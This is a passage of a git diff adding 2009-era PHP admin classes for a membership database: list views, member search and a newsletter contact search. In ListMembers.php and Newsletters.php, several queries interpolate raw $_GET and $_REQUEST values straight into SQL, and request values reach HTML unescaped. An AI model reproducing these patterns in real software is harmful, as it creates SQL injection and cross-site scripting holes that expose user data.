+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_Admin_ListCities
+{
+       //      {{{ properties
+
+       /**
+        * Database Handler
+        *
+        * @var object
+        * @access protected
+        */
+       public $dbh;
+
+       /**
+        * The Table name used to store the data of the member record in the database.
+        *
+        * @var string
+        * @access public
+        */
+       public $tableName = 'city';
+
+       /**
+        * Flexy options used in the renderer
+        *
+        * @var array
+        * @access protected
+        */
+       protected $flexyOptions;
+
+       /**
+        * The flexy template object which holds the rendered object
+        *
+        * @var object
+        * @access private
+        */
+       private $_template = 'listCities.tpl';
+
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * Constructor
+        *
+     * @param PDO $pdo PHP Data Object
+     *
+        * @access public
+        */
+       public function __construct(PDO $pdo)
+       {
+               $this->dbh = $pdo;
+
+        $this->flexyOptions = Toolkit_Members::getFlexyOptions();
+       }
+
+       //      }}}
+
+       //      {{{ _getCities()
+
+
+    /**
+     * Short description for function
+     * 
+     * Long description (if any) ...
+     * 
+     * @return array   Return description (if any) ...
+     * @access private
+     */
+       private function _getCities()
+       {
+               try {
+                       $cities = array();
+                       $sql = "
+                               SELECT *
+                                 FROM {$this->tableName}
+                                ORDER BY city_name";
+
+                       foreach ($this->dbh->query($sql) as $row) {
+                               $cities[$row['city_id']] = $row['city_name'];
+                       }
+
+                       return $cities;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ renderCities()
+
+    /**
+     * Render the output
+     * 
+     * @return html page
+     * @access public
+     */
+       public function renderCities()
+       {
+               $template = new HTML_Template_Flexy($this->flexyOptions);
+               $page     = new stdClass();
+
+               $page->cities  = $this->_getCities();
+
+               $template->compile($this->_template);
+               return $template->bufferedOutputObject($page);
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/Admin/ListHtmlEmails.php b/Toolkit/Members/Admin/ListHtmlEmails.php
new file mode 100644 (file)
index 0000000..1090bfa
--- /dev/null
@@ -0,0 +1,137 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * List the amenities available for members
+ * 
+ * PHP version 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: ListHtmlEmails.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ */
+
+/**
+ * List the amenities available for members
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_Admin_ListHtmlEmails
+{
+       //      {{{ properties
+
+       /**
+        * Database Handler
+        *
+        * @var object
+        * @access protected
+        */
+       protected $dbh;
+       
+       /**
+        * The Table name used to store the data of the member record in the database.
+        *
+        * @var string
+        * @access public
+        */
+       public $tableName = 'news_response';
+
+       /**
+        * Flexy options used in the renderer
+        *
+        * @var array
+        * @access protected
+        */
+       protected $flexyOptions;
+
+       /**
+        * The flexy template object which holds the rendered object
+        *
+        * @var object
+        * @access private
+        */
+       private $_template = 'listHtmlEmails.tpl';
+
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * Constructor
+     *
+     * @param PDO $pdo PHP Data Object
+        *
+        * @access public
+        */
+       public function __construct(PDO $pdo)
+       {
+               $this->dbh = $pdo;
+
+        $this->flexyOptions = Toolkit_Members::getFlexyOptions();
+       }
+
+       //      }}}
+
+       //      {{{ _getAmenities()
+
+    /**
+     * Get the amenities
+     * 
+     * @return array regions stored in the db
+     * @access private
+     */
+       private function _getAmenities()
+       {
+               try {
+                       $amenities = array();
+                       $sql = "
+                               SELECT *
+                                 FROM {$this->tableName}
+                                ORDER BY id";
+
+                       foreach ($this->dbh->query($sql) as $row) {
+                $amenities[] = array(
+                    'id'          => $row['id'],
+                    'subject'     => $row['subject'],
+                    'last_update' => $row['last_update']
+                );
+                       }
+
+                       return $amenities;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ renderAmenities()
+
+    /**
+     * Render the output
+     * 
+     * @return html page
+     * @access public
+     */
+       public function renderHtmlEmails()
+       {
+               $template = new HTML_Template_Flexy($this->flexyOptions);
+               $page     = new stdClass();
+
+               $page->amenities = $this->_getAmenities();
+
+               $template->compile($this->_template);
+               return $template->bufferedOutputObject($page);
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/Admin/ListMembers.php b/Toolkit/Members/Admin/ListMembers.php
new file mode 100644 (file)
index 0000000..710f97f
--- /dev/null
@@ -0,0 +1,301 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * File Doc Comment
+ *
+ * PHP version 5
+ *
+ * @category MembersDB
+ * @package  Toolkit_Members
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @release  CVS: $Id: ListMembers.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link        http://demo.gaslightmedia.com
+ */
+
+/**
+ * List the members in the database in a datagrid
+ *
+ * Handles listing of the members in the memberDB, pagnation, and sorting.
+ * Also controls the resulting number of members that are rendered on the page.
+ *
+ * @category  MembersDB
+ * @package      Toolkit_Members
+ * @author       Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Gaslight media
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link         http://devsys2.gaslightmedia.com/demo.gaslightmedia.com/admin/members/index.php?nav_id=2
+ */
+class Toolkit_Members_Admin_ListMembers extends Toolkit_FlexyDataGridBuilder
+{
+       //      {{{ properties
+
+       /**
+        * Name of the table which holds the members
+        *
+        * @var string
+        * @access protected
+        */
+       protected $tableName = 'member';
+
+       /**
+        * The name of the template that renders this datagrid
+        *
+        * @var string
+        * @access protected
+        */
+       protected $template = 'listMembers.tpl';
+
+       //      }}}
+
+       //      {{{ configureColumns()
+
+       /**
+        * Configures the columns (fields) that will be used in our datagrid renderer.
+        *
+        * @return void
+        * @access public
+        */
+       protected function configureColumns()
+       {
+               $url =& new Structures_DataGrid_Column('Created',
+                                               'member_id',
+                                               'member_id',
+                                               null,
+                                               null,
+                                               array(&$this, 'url'));
+               $this->addColumn($url);
+
+               $delUrl =& new Structures_DataGrid_Column('Delete',
+                                                  'del_url',
+                                                  'del_url',
+                                                  null,
+                                                  null,
+                                                  array(&$this, 'delUrl'));
+               $this->addColumn($delUrl);
+
+               $name =& new Structures_DataGrid_Column('Member Name',
+                                                'member_name',
+                                                'member_name');
+               $this->addColumn($name);
+
+               $phone =& new Structures_DataGrid_Column('Member Phone',
+                                                 'phone',
+                                                 'phone');
+               $this->addColumn($phone);
+
+               $email =& new Structures_DataGrid_Column('Contact Email',
+                                                 'member_contact_email',
+                                                 'member_contact_email');
+               $this->addColumn($email);
+       }
+
+       //      }}}
+
+       //      {{{ delUrl()
+
+       /**
+        * Returns the url to delete a member.
+        *
+        * Used when configuring the columns for the data grid. This
+        * function generates the url to get to delete the member
+        *
+        * @param array $data The row from the db record
+        * 
+        * @return string The url to the edit member page.
+        * @access public
+        */
+       public function delUrl($data)
+       {
+               $target = $data['record']['member_id'];
+               return BASE_URL . "admin/members.php?cat=2&subCat=1&d=t&id=$target";
+       }
+
+       //      }}}
+
+    //  {{{ removeMember()
+
+    /**
+     * Remove a member from the list / database
+     *
+     * @param integer $mid Member id to remove
+     *
+     * @return void
+     * @access public
+     */
+    public function removeMember($mid)
+    {
+        try {
+            $sql  = "
+                DELETE FROM {$this->tableName}
+                 WHERE member_id = :id";
+            $stmt = $this->dbh->prepare($sql);
+            $stmt->bindParam(':id', $mid, PDO::PARAM_INT);
+            $stmt->execute();
+            header('location: ' . BASE_URL . 'admin/members.php?cat=2&subCat=1');
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+    }
+
+    //  }}}
+
+    //  {{{ setControlObject()
+
+    /**
+     * set the control object to use with the datagrid
+     *
+     * @return void
+     * @access protected
+     */
+    protected function setControlObject()
+    {
+        try {
+            $letters = array();
+
+            $sql = "
+                SELECT substr(upper(member_name), 1, 1) AS letter
+                  FROM member
+                 GROUP BY letter
+                 ORDER BY letter";
+
+            foreach ($this->dbh->query($sql) as $row) {
+                $letters[$row['letter']] = $row['letter'];
+            }
+
+        } catch (PDOException $e) {
+            return Toolkit_Common::handleError($e);
+        }
+
+        //  We only need to show the links of alphabet if we have more than           
+        //  one letter to display.
+        if (count($letters) > 1) {
+            foreach ($_GET as $k => $v) {
+                if ($k != 'alpha') {
+                    if (is_array($v)) {
+                        foreach ($v as $i => $j) {
+                            $queryString .= $k . '[' . $i . ']=' . $j . '&';                      
+                        }
+                    } else {
+                        $queryString .= "$k=$v&";
+                    }
+                }
+            }
+            $links['All']['url'] = BASE_URL . "admin/members.php?{$queryString}";
+            $links['All']['class'] = empty($_GET['alpha']) ? 'curr' : null;                   
+            foreach ($letters as $v) {
+                $links[$v]['url'] = BASE_URL . "admin/members.php?{$queryString}alpha=$v";        
+                if ($_GET['alpha'] == $v) {
+                    $links[$v]['class'] = 'curr';
+                }
+            }
+            $this->ctrlObj['letters'] = $links;
+        }
+
+    }
+
+    //  }}}
+    //  {{{ setQuery()
+
+    /**
+     * Sets the query to use to fetch the datagrid results
+     *
+     * @param Config_Container $c Configuration object
+     *
+     * @return void
+     * @access public
+     */
+    public function setQuery(Config_Container $c)
+    {
+        //  get reference to [conf] section of config file
+        $config =& $c->getItem('section', 'conf');
+        //  get controlled cities
+        $citiesDirective =& $config->getItem('directive', 'controlledCities');
+
+               $sql = "
+                       SELECT *, LOWER(member_name) AS sort_field
+              FROM {$this->tableName}";
+
+               $params = array("new_member != 'true'");
+               
+
+        //  Limit to members whose first letter starts with the letter
+        //  a user clicked in the sort alphabetically list.
+        if (!empty($_GET['alpha'])) {
+            $params[] = "upper(substr(member_name, 1, 1)) = upper('{$_GET['alpha']}')";
+        }
+
+               if (ctype_digit($_GET['category'])) {
+                       $tree = Toolkit_Common::getHierarchicalTreeStructure(
+                'category',
+                'category_id',
+                'parent_id',
+                'pos',
+                $_GET['category'],
+                0,
+                false
+            );
+
+                       $params[] = "
+                                 member_id in (
+                                                SELECT member_id
+                                                  FROM member_category
+                                 WHERE category_id in (" . implode(', ', array_keys($tree)) . "))";
+               }
+               if (!empty($_GET['name'])) {
+                       $params[] = "lower(member_name) LIKE '%" . strtolower(urldecode($_GET['name'])) . "%'";
+               }
+               if (!empty($_GET['email'])) {
+                       $params[] = "member_contact_email LIKE '%" . $_GET['email'] . "%'";
+               }
+        if ($citiesDirective->getContent()) {
+            if (ctype_digit($_GET['city_id'])) {
+                $params[] = "city_id = {$_GET['city_id']}";
+            }
+        } else {
+            if (!empty($_GET['city'])) {
+                $params[] = "lower(city) LIKE '%{$_GET['city']}%'";
+            }
+        }
+               if (ctype_digit($_GET['state'])) {
+                       $params[] = "state_id = {$_GET['state']}";
+               }
+               if (!empty($_GET['zip'])) {
+                       $params[] = "zip = CAST({$_GET['zip']} AS TEXT)";
+               }
+
+               if (isset($_GET['_qf__record_search']) && !empty($params)) {
+                       $params = implode(' AND ', $params);
+                       $sql    = "{$sql} WHERE $params";
+               } elseif (!isset($_GET['_qf__record_search'])) {
+                       $sql .= ' WHERE ' . implode(' AND ', $params);
+               }
+
+        parent::setQuery($sql);
+    }
+
+    //  }}}
+       
+       //      {{{ url()
+
+       /**
+        * Returns the url to edit a member.
+        *
+        * Used when configuring the columns for the data grid. This
+        * function generates the url to get to the members edit page.
+        *
+        * @param array $data The row from the db record
+        *
+        * @return string The url to the edit member page.
+        * @access public
+        */
+       public function url($data)
+       {
+               $target = $data['record']['member_id'];
+               return BASE_URL . "admin/members.php?cat=2&subCat=2&tab=1&id=$target";
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/Admin/ListNewRequests.php b/Toolkit/Members/Admin/ListNewRequests.php
new file mode 100755 (executable)
index 0000000..f6a10cf
--- /dev/null
@@ -0,0 +1,145 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * File Doc Comment
+ *
+ * PHP version 5
+ *
+ * @category MembersDB
+ * @package  Toolkit_Members
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: ListNewRequests.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link        <>
+ */
+
+/**
+ * List the new member requests in the database in a datagrid
+ *
+ * Handles listing of the new member requests in the memberDB, pagnation, and sorting.
+ * Also controls the resulting number of members that are rendered on the page.
+ *
+ * @category  MembersDB
+ * @package      Toolkit_Members
+ * @author       Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Gaslight media
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link         http://devsys2.gaslightmedia.com/demo.gaslightmedia.com/admin/members/index.php?nav_id=2
+ */
+class Toolkit_Members_Admin_ListNewRequests
+       extends Toolkit_FlexyDataGridBuilder
+{
+       //      {{{ properties
+
+       /**
+        * Name of the table which holds the members
+        *
+        * @var string
+        * @access protected
+        */
+       protected $tableName = 'member';
+
+       /**
+        * The name of the template that renders this datagrid
+        *
+        * @var string
+        * @access protected
+        */
+       protected $template = 'listNewMembers.tpl';
+
+       //      }}}
+
+       //      {{{ configureColumns()
+
+       /**
+        * Configures the columns (fields) that will be used in our datagrid renderer.
+        *
+        * @return void
+        * @access public
+        */
+       protected function configureColumns()
+       {
+               $url =& new Structures_DataGrid_Column('Created',
+                                               'member_id',
+                                               'member_id',
+                                               null,
+                                               null,
+                                               array(&$this, 'url'));
+               $this->addColumn($url);
+
+               $name =& new Structures_DataGrid_Column('Member Name',
+                                                'member_name',
+                                                'member_name');
+               $this->addColumn($name);
+
+               $phone =& new Structures_DataGrid_Column('Member Phone',
+                                                 'phone',
+                                                 'phone');
+               $this->addColumn($phone);
+
+               $email =& new Structures_DataGrid_Column('Contact Email',
+                                                 'member_contact_email',
+                                                 'member_contact_email');
+               $this->addColumn($email);
+       }
+
+       //      }}}
+
+       //      {{{ setControlObject()
+
+       /**
+        * Sets any control object variables that are going to be used in the template
+        *
+        * @return void
+        * @access public
+        */
+       protected function setControlObject()
+       {
+               $this->ctrlObj['baseUrl'] = BASE_URL;
+               $this->ctrlObj['glmAppBaseUrl'] = GLM_APP_BASE_URL;
+       }
+
+       //      }}}
+    //  {{{ setQuery()
+
+    /**
+     * Sets the query to use to fetch the datagrid results
+     *
+     * @return void
+     * @access public
+     */
+    public function setQuery()
+    {
+               $sql = "
+                       SELECT *
+              FROM {$this->tableName}
+                        WHERE new_member = true";
+
+        parent::setQuery($sql);
+    }
+
+    //  }}}
+
+       //      {{{ url()
+
+       /**
+        * Returns the url to edit a member.
+        *
+        * Used when configuring the columns for the data grid. This
+        * function generates the url to get to the members edit page.
+        *
+        * @param array $data The row from the db record
+        *
+        * @return string The url to the edit member page.
+        * @access public
+        */
+       public function url($data)
+       {
+               $target = $data['record']['member_id'];
+               return BASE_URL . "admin/members.php?cat=2&subCat=4&id=$target";
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/Admin/ListPendingMembers.php b/Toolkit/Members/Admin/ListPendingMembers.php
new file mode 100755 (executable)
index 0000000..3550b17
--- /dev/null
@@ -0,0 +1,120 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * File Doc Comment
+ *
+ * PHP version 5
+ *
+ * @category MembersDB
+ * @package  Toolkit_Members
+ * @author   Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @license     http://www.gaslightmedia.com Gaslightmedia
+ * @version  CVS: $Id: ListPendingMembers.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link        <>
+ */
+
+/**
+ * List the pending members in the database in a datagrid
+ *
+ * Handles listing of the pending members in the memberDB, pagnation,
+ * and sorting. Also controls the resulting number of members that are
+ * rendered on the page.
+ *
+ * @category  MembersDB
+ * @package      Toolkit_Members
+ * @author       Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2008 Gaslight media
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link         http://devsys2.gaslightmedia.com/demo.gaslightmedia.com/admin/members/index.php?nav_id=2
+ */
+class Toolkit_Members_Admin_ListPendingMembers 
+       extends Toolkit_Members_Admin_ListMembers
+{
+       //      {{{ properties
+
+       /**
+        * The name of the template that renders this datagrid
+        *
+        * @var string
+        * @access protected
+        */
+       protected $template = 'listPendingMembers.tpl';
+
+       //      }}}
+
+       //      {{{ configureColumns()
+
+       /**
+        * Configures the columns (fields) that will be used in our datagrid renderer
+        *
+        * @return void
+        * @access public
+        */
+       protected function configureColumns()
+       {
+               $url =& new Structures_DataGrid_Column('Created',
+                                               'member_id',
+                                               'member_id',
+                                               null,
+                                               null,
+                                               array(&$this, 'url'));
+               $this->addColumn($url);
+
+               $name =& new Structures_DataGrid_Column('Member Name',
+                                                'member_name',
+                                                'member_name');
+               $this->addColumn($name);
+
+               $email =& new Structures_DataGrid_Column('Contact Email',
+                                                 'member_contact_email',
+                                                 'member_contact_email');
+               $this->addColumn($email);
+       }
+
+       //      }}}
+
+    //  {{{ setQuery()
+
+    /**
+     * Sets the query to use to fetch the datagrid results
+     *
+     * @return void
+     * @access public
+     */
+    public function setQuery()
+    {
+               $sql = "
+            SELECT *
+              FROM {$this->tableName}
+             WHERE member_id IN (
+                                       SELECT DISTINCT member_id
+              FROM member_updates)";
+
+        Toolkit_DataGridBuilder::setQuery($sql);
+    }
+
+    //  }}}
+
+       //      {{{ url()
+
+       /**
+        * Returns the url to edit a member
+        *
+        * Used when configuring the columns for the data grid. This
+        * function generates the url to get to the members edit page.
+        *
+        * @param array $data The row from the db record
+        *
+        * @return string The url to the edit member page.
+        * @access public
+        */
+       public function url($data)
+       {
+               $target = $data['record']['member_id'];
+               return BASE_URL . "admin/members.php?cat=2&subCat=3&id=$target";
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/Admin/ListRegions.php b/Toolkit/Members/Admin/ListRegions.php
new file mode 100644 (file)
index 0000000..1d536d0
--- /dev/null
@@ -0,0 +1,133 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * List the regions available for members
+ * 
+ * PHP version 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @version   CVS: $Id: ListRegions.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ */
+
+/**
+ * List the regions available for members
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Jamie Kahgee <jamie.kahgee@gmail.com>
+ * @copyright 2009 Jamie Kahgee
+ * @license   http://www.gaslightmedia.com Gaslightmedia
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_Admin_ListRegions
+{
+       //      {{{ properties
+
+       /**
+        * Database Handler
+        *
+        * @var object
+        * @access protected
+        */
+       protected $dbh;
+
+       /**
+        * The Table name used to store the data of the member record in the database.
+        *
+        * @var string
+        * @access public
+        */
+       public $tableName = 'region';
+
+       /**
+        * Flexy options used in the renderer
+        *
+        * @var array
+        * @access protected
+        */
+       protected $flexyOptions;
+
+       /**
+        * The flexy template object which holds the rendered object
+        *
+        * @var object
+        * @access private
+        */
+       private $_template = 'listRegions.tpl';
+
+       //      }}}
+       //      {{{ __construct()
+
+       /**
+        * Class constructor
+        *
+     * @param PDO $pdo PHP Data Object
+     * 
+        * @access public
+        */
+       public function __construct(PDO $pdo)
+       {
+               $this->dbh = $pdo;
+
+        $this->flexyOptions = Toolkit_Members::getFlexyOptions();
+       }
+
+       //      }}}
+
+       //      {{{ _getRegions()
+
+    /**
+     * Get the regions
+     * 
+     * @return array regions stored in the db
+     * @access private
+     */
+       private function _getRegions()
+       {
+               try {
+                       $amenities = array();
+                       $sql = "
+                               SELECT *
+                                 FROM {$this->tableName}
+                                ORDER BY region_name";
+
+                       foreach ($this->dbh->query($sql) as $row) {
+                               $regions[$row['region_id']] = $row['region_name'];
+                       }
+
+                       return $regions;
+               } catch (PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+               }
+       }
+
+       //      }}}
+
+       //      {{{ renderRegions()
+
+    /**
+     * Render the output
+     * 
+     * @return html page
+     * @access public
+     */
+       public function renderRegions()
+       {
+               $template = new HTML_Template_Flexy($this->flexyOptions);
+               $page     = new stdClass();
+
+               $page->regions = $this->_getRegions();
+
+               $template->compile($this->_template);
+               return $template->bufferedOutputObject($page);
+       }
+
+       //      }}}
+}
+?>
diff --git a/Toolkit/Members/Admin/Newsletters.php b/Toolkit/Members/Admin/Newsletters.php
new file mode 100644 (file)
index 0000000..39f7f03
--- /dev/null
@@ -0,0 +1,333 @@
+<?php
+/**
+ * Newsletters.php
+ * 
+ * PHP versions 4 and 5
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @version   CVS: $Id: Newsletters.php,v 1.1.1.1 2009/09/17 20:08:56 matrix Exp $
+ * @link      http://demo.gaslightmedia.com
+ */
+
+
+/**
+ * Toolkit_Members_Admin_Newsletters
+ * 
+ * Search for Members to send out E-Blast
+ * 
+ * @category  MembersDB
+ * @package   Toolkit_Members
+ * @author    Steve Sutton <steve@gaslightmedia.com>
+ * @copyright 2009 Gaslight Media
+ * @license   Gaslight Media
+ * @link      http://demo.gaslightmedia.com
+ */
+class Toolkit_Members_Admin_Newsletters extends Toolkit_FlexyDataGridBuilder
+{
+    //  {{{  Properties
+
+    protected $noRecMessage = 'No Data Found';
+    /**
+     * Table name for tracking
+     * @var    string   
+     * @access protected
+     */
+    protected $tableName = 'member';
+
+    /**
+     * Description for protected
+     * @var    array    
+     * @access protected
+     */
+    protected $queryParams = array();
+
+    /**
+     * Template File
+     * @var    string   
+     * @access protected
+     */
+    protected $template = 'memberContactsList.tpl';
+
+    //  }}}
+    //  {{{ __construct()
+
+    /**
+     * Class constructor
+     *
+     * define where templates for the data grid are at, 
+     * then call the parent constructor which will handle
+     * finishing the settings for the datagrid.
+     *
+     * After all settings are finished you can call the toHTML()
+     * function on this object and the datagrid
+     * will be rendered and returned as a string.  
+     * Optionally you could call show() and the datagrid would
+     * be rendered and output immediatley to the screen.
+     *
+     * @param PDO    $pdo          PHP Data Object to use for DB calls
+     * @param string $limit        The number of records to display per page.
+     * @param int    $page                The current page viewed.
+     *                             In most cases, this is useless.
+     *                             Note: if you specify this, the "page" GET 
+     *                             variable will be ignored.
+     * @param string $rendererType The type of renderer to use.
+     *                             You may prefer to use the $type argument
+     *                             of {@link render}, {@link fill} or 
+     *                             {@link getOutput}
+     * 
+     * @access public
+     */
+    public function __construct(
+        PDO $pdo,
+        $limit = null,
+        $page = null,
+        $rendererType = null
+    ) {
+        $this->pagerOptions['containerClass'] = 'pages';
+        parent::__construct($pdo, $limit, $page, $rendererType);
+    }
+
+    //  }}}
+
+    //  {{{ configureColumns()
+
+    /**
+     * Configures the columns (fields) that will be used in our datagrid renderer.
+     *
+     * @return  void
+     * @access public
+     */
+    protected function configureColumns()
+    {
+        $directUrl =& new Structures_DataGrid_Column(
+            'DirectURL',
+            'directUrl',
+            'directUrl',
+            null,
+            null,
+            array(&$this, 'recordUrl')
+        );
+        $this->addColumn($directUrl);
+
+        $memberName =& new Structures_DataGrid_Column(
+            'Member Name',
+            'member_name',
+            'member_name'
+        );
+        $this->addColumn($memberName);
+
+        $fname =& new Structures_DataGrid_Column(
+            'First Name',
+            'fname',
+            'fname'
+        );
+        $this->addColumn($fname);
+
+        $lname =& new Structures_DataGrid_Column(
+            'Last Name',
+            'lname',
+            'lname'
+        );
+        $this->addColumn($lname);
+    }
+
+    //  }}}
+
+    //  {{{ getMemberCats()
+
+    /**
+     * getMemberCats 
+     * 
+     * @return array
+     * @access protected
+     */
+    protected function getMemberCats()
+    {
+        $sql = "
+                       SELECT *
+                         FROM category
+                        WHERE parent_id = 0
+                        ORDER BY parent_id, name";
+        try {
+            $stmt = $this->dbh->query($sql);
+            //$categories[] = '';
+            while ($row = $stmt->fetch()) {
+                unset($subs);
+                $sql = "
+                                       SELECT *
+                                         FROM category
+                                        WHERE parent_id = :id
+                                        ORDER BY parent_id, name";
+                try {
+                    $stmt2 = $this->dbh->prepare($sql);
+                    $stmt2->bindParam(":id", $row['category_id'], PDO::PARAM_INT);
+                    $stmt2->execute();
+                    while ($row2 = $stmt2->fetch()) {
+                        $subs[$row2['category_id']] = $row2['name'];
+                    }
+                } catch(PDOException $e) {
+                                       return Toolkit_Common::handleError($e);
+                }
+                if ($subs) {
+                    $categories[$row['name']] = $subs;
+                }
+            }
+            if (is_array($categories)) {
+                $select = '<select name="Categories[]" multiple="multiple" size="10">';
+                foreach ($categories as $label => $cat_id) {
+                    $select .= '<optgroup label="'.$label.'">';
+                    foreach ($cat_id as $category_id => $name) {
+                        $select .= '<option value="'.$category_id.'"';
+                        if ($_REQUEST['Categories'] && in_array($category_id, $_REQUEST['Categories'])) {
+                            $select .= 'selected';
+                        }
+                        $select .= '>'.$name.'</option>';
+                    }
+                    $select .= '</optgroup>';
+                }
+                $select .= '</select>';
+            }
+            return $select;
+        } catch(PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+        }
+    }
+
+    //  }}}
+    //  {{{ getNewsletters()
+
+    /**
+     * getNewsletters 
+     * 
+     * @return array
+     * @access public
+     */
+    protected function getNewsletters()
+    {
+        $sql = "
+                       SELECT id, subject
+                         FROM news_response
+                        ORDER BY subject";
+        try {
+            $stmt = $this->dbh->query($sql);
+            while ($row = $stmt->fetch()) {
+                $newsletters[$row['id']] = $row['subject'];
+            }
+            return $newsletters;
+        } catch(PDOException $e) {
+                       return Toolkit_Common::handleError($e);
+        }
+    }
+        
+    //  }}}
+
+    //  {{{ recordUrl()
+
+    /**
+     * Returns the url for a member.
+     *
+     * Used when configuring the columns for the data grid. This
+     * function generates the url to get to the member detail page
+     *
+     * @param array $data Structure_DataGrid
+     *
+     * @return string
+     * @access public
+     */
+    public function recordUrl($data)
+    {
+        return "members.php?".
+            "id={$data['record']['member_id']}".
+            "&cat=2".
+            "&subCat=2";
+    }
+
+    //  }}}
+
+    //  {{{ setQuery()
+
+    /**
+     * Sets the query to use to fetch the datagrid results
+     *
+     * @return void
+     * @access public
+     */
+    public function setQuery()
+    {
+        $sql = "
+                       SELECT mc.member_id, m.member_name, mc.fname, mc.lname
+                         FROM member m LEFT OUTER JOIN member_contacts mc USING (member_id)";
+        if ($_REQUEST['Categories']) {
+            $where[] = "
+            m.member_id IN 
+                (SELECT member_id
+                FROM    member_category
+                WHERE   category_id IN (".implode(",", $_REQUEST['Categories'])."))";
+        }
+        if ($_REQUEST['Search']) {
+            $where[] = "
+            m.member_name ilike '%{$_REQUEST['Search']}%'";
+        }
+        if (is_array($where)) {
+            $sql .= " WHERE ".implode(" AND ", $where);
+        }
+
+        parent::setQuery($sql);
+    }
+
+    //  }}}
+    //  {{{ setControlObject()
+
+    /**
+     * Sets any control object variables that are going to be used in the template
+     *
+     * @return void
+     * @access public
+     */
+    protected function setControlObject()
+    {
+        $form = new HTML_QuickForm('ReportsListForm', 'get');
+        $form->addElement('hidden', 'cat', $_REQUEST['cat']);
+        $form->addElement('hidden', 'subCat', $_REQUEST['subCat']);
+        $form->addElement('text', 'Search', 'Search', $_REQUEST['Search']);
+        $form->addElement('static', 'Categories', 'Categories', $this->getMemberCats());
+        $form->addElement(
+            'select', 
+            'Output', 
+            'Output', 
+            array(
+                'HTML'=>'HTML',
+                'FILE'=>'FILE'
+            )
+        );
+        $form->addElement('submit', 'reportSubmit', 'Search Contacts');
+        if ($_REQUEST['reportMonth']) {
+            $form->setDefaults(
+                array(
+                    'reportMonth' => $_REQUEST['reportMonth']
+                )
+            );
+        } else {
+            $form->setDefaults(
+                array(
+                    'reportMonth' => date('n').'|'.date('Y')
+                )
+            );
+        }
+        $this->ctrlObj['memberContactSearchForm'] = $form->toHTML();
+        // second form will send the list out to either 
+        // a file download page
+        // or mailout page
+        $form2 = new HTML_QuickForm('memberSendForm', 'get');
+        $form2->addElement('select', 'newsletter', 'Newsletter', $this->getNewsletters());
+        $form2->addElement('submit', 'sendSubmit', 'Send Newsletter');
+        $this->ctrlObj['memberSendForm']          = $form2->toHTML();
+    }
+
+    //  }}}
+}
+?>
diff --git a/Toolkit/Members/Admin/Search.php b/Toolkit/Members/Admin/Search.php
new file mode 100644 (file)
index 0000000..00b737f
--- /dev/null
@@ -0,0 +1,457 @@
+<?php
+//     vim:set expandtab tabstop=4 shiftwidth=4 softtabstop=4 foldmethod=marker syntax=php:
+
+/**
+ * Admin search functionality for memberdb
+ * 
+ * PHP version 5
+ * 
